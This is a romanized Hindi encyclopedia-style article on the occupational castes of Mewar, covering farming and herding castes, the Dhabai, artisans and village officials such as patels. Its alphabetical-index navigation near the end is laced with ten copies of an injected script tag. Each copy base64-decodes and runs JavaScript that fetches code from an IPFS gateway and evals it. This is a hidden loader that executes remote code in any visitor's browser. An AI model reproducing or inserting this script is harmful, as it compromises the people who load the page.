मेवाड़ की व्यवसायी जातियाँ

meva d mean jo jatigat vyavastha thi, vah paramparagat roop se ooanch-nich, pad-pratishtha tatha vanshotpann jatiyoan ke adhar par sangathit thi. samajik sangathan mean pratyek jati ka mahatv us jati ki vanshotpatti tatha usake dvara aangikrit vyavasay par nirbhar tha. samanyat: rajy jati panchayatoan ke karyoan mean hastakshep nahian karata tha. meva d ke maharanaoan ne bhi paramparagat samajik dhaanche ko banaye rakhanean mean kafi yogadan diya tha. jati-vyavastha ko sthayitv pradan karane tatha usake astitv ko akshun banaye rakhane mean jati panchayatoan ki bhoomika mahattvapoorn thi.

krishi karane vali jatiyaan

meva d mean kuchh jatiyaan aisi thian, jo poornat: krishi-karmi mani jati thian, jaise- jat mali, daangi dhak d aur janava. meva d ki janasankhya mean inaka pratinidhitv 17 pratishat tha. yadyapi ye sabhi jatiyaan apane svajati niyamoan se abaddh thian, phir bhi inamean ooanch-nich ka bhedabhav nahian tha. samajik, arthik pad-star par sabhi kisan apane ko 'karasa' kahalane mean garv ka anubhav karate the. vivah svajati mean hi hota tha, kiantu vivah ke niyam kathor nahian the. vidhava vivah, punarvivah tatha vivah vichchhed sugamatapoorvak 'rit' aur 'nata' ki paramparanusar ho jate the. isilie samaj mean unhean 'natayati' jatiyaan kaha jata tha.

krishak samooh se sambandhit hone ke karan in jatiyoan se pateloan ka nirvachan kiya jata tha. yah nirvachan shasak aur jagiradar ki ichchha par nirbhar tha, anyatha manonit bhi kar liya jata tha. bad ke samay mean yah pad paitrik tatha paramparagat ho gaya. pateloan ka pramukh kary bhoomi kar ki vasooli karana, rajyadesh ka jan-prachar karana, bataee ya mukate mean rajy ka aansh niyat karana adi hota tha. isake badale mean pateloan ko kar-mukt bhoomi aur raj vasooli ka 1/40 hissa diya jata tha.^[1]

pashupalak jatiyaan

meva d ki mukhy pashu palane vali jatiyoan mean pramukh thian-

ahir
gurjar
gayari
rebari

inamean gurjar pray: gay aur bhaians palate the. gayari bhe d-bakari palak jati thi. vahian reva di ooant ka palan karate the. rajy ki janasankhya mean in jatiyoan ka jan pratinidhitv chh: pratishat tha. ye moolat: krishak the aur krishi ke sath-sath doodh, dahi, dhrit, pashu kray-vikray tatha pashuoan ke oon se bane vastroan ka vyapar bhi karate the. gayari jati ke log gaanv ke pashuoan ke gochar ka kary bhi karate the, jisake badale fasal kataee par prati pashu unhean neg diya jata tha. pashupalak jatiyoan ka samajik-arthik star mool krishak jatiyoan se bahut achchha tha.

dhabaee

gurjar jati ke kee parivar raj gharanoan tatha thikanoan se sambandhit rahe the. gurjar striyoan ke dvara rajapoot ke bachchoan ko doodh pilane ke rivaj ne samaj mean inaka mahatv badha diya tha. inhean pray: 'dhay maan' aur putr ko 'dhay bhaee' kahakar pukara jata tha. inhian se bad mean dhire-dhire dhay bhaee gurjaroan ka ek alag varg 'dhabaee jati' ke roop mean pratisthapit ho gaya. dhabaee jati ke sadasy rajapootoan se sambandhit hone ke karan samajik aur arthik drishti se poore samaj mean pratishthit aur sammanit rahe the. rajy dvara inhean jagir bhoomi, prashasanik tatha sainik pad pradan kiye jate the. 19vian shatabdi mean dhabaee jati ke sadasy rajy ki adhinasth seva mean niyukt kiye jane lage. in sevaoan mean pramukh roop se shikar vibhag se ju di sevaean v yatraoan ki suraksha shamil thi.

shilp tatha dastakar

shilpiyoan tatha dastakaroan ke is varg ki jatiyoan mean chatara, sunar, chhipa, sikaligar, patava, usta, kheradi, mahidoj, kasara, j diya, mochi, gaandhi, luhar, kumhar evan balaee mukhy jatiyaan thian. in sabhi ka samajik sambandh tatha vyavahar jati ke andar hi raha tha. vivah sambandh mean kathorata nahian thi. bhojan-vyavahar mean jati doori ka bhed sabhi jatiyaan me vyapt tha. chatara, sunar, kasara, patava, sikaligar adi ka shilpi jatiyoan ki antashreni mean pratham star tha. yah jatiyaan abhijat evan sampann varg se sambandhit thian. jati samaj ki shrenibaddhata mean yah sabhi jatiyaan 'karu' kahalati thian. karu arthae 'karigar' jatiyoan ka samajik staran dvij jatiyoan se nimn tatha shoodr jatiyoan se uchch tha. luhar, suthar chhipa, gaandhi aur kumhar jatiyoan ka star antashreni jati mean dvitiy tatha mochi, balaee adi tritiy star par thian. usta namak shilpi muslim samuday se ju da tha. dvitiy tatha tritiy varg star ki shilpi jatiyaan janasadharan se abhijat varg tak ke logoan se sambandhit thian.

gram ke shilpi gramy janoan ki nyoon avashyakataoan ki poorti karate the. isake alava kee shilpi rajy seva mean bhi dainik, mahavari athava vanshanugat kary karate the. aise shilpiyoan ko rajy ki or se kap da, ann ki rashi athava zamin-jayadad pradan ki jati thi. in shilpi jatiyaan ke upavarg vyavasay ke adhar par bhi bante the. raj seva karane vale raja 'bhoee' the, to vahian 'balaee' namak jati reja^[2] bunane ka kary karate thi. isake sath-sath ye doosaroan ke khetoan mean mazadoori bhi karate the. gramin rajy seva ke pad par isi jati ke logoan se gaanv-balaee ki niyukti aur nirvachan kiya jata tha, jo bad ke samay mean pateloan ki tarah hi vanshanugat kar diya gaya tha.

REDIRECTsaancha:inhean bhi dekhean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ samantavadi vyavastha mean krishi-karmi varg ka samajik-arthik star bahut hi nimn tha, lekin varsh 1922 ee. ke 'bijoliya andolan' ne poore krishi-karmi varg mean ek nayi chetana ka sanchar kar diya.
↑ kap da

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] samantavadi vyavastha mean krishi-karmi varg ka samajik-arthik star bahut hi nimn tha, lekin varsh 1922 ee. ke 'bijoliya andolan' ne poore krishi-karmi varg mean ek nayi chetana ka sanchar kar diya.

[2] ↑ kap da

[1]

[2]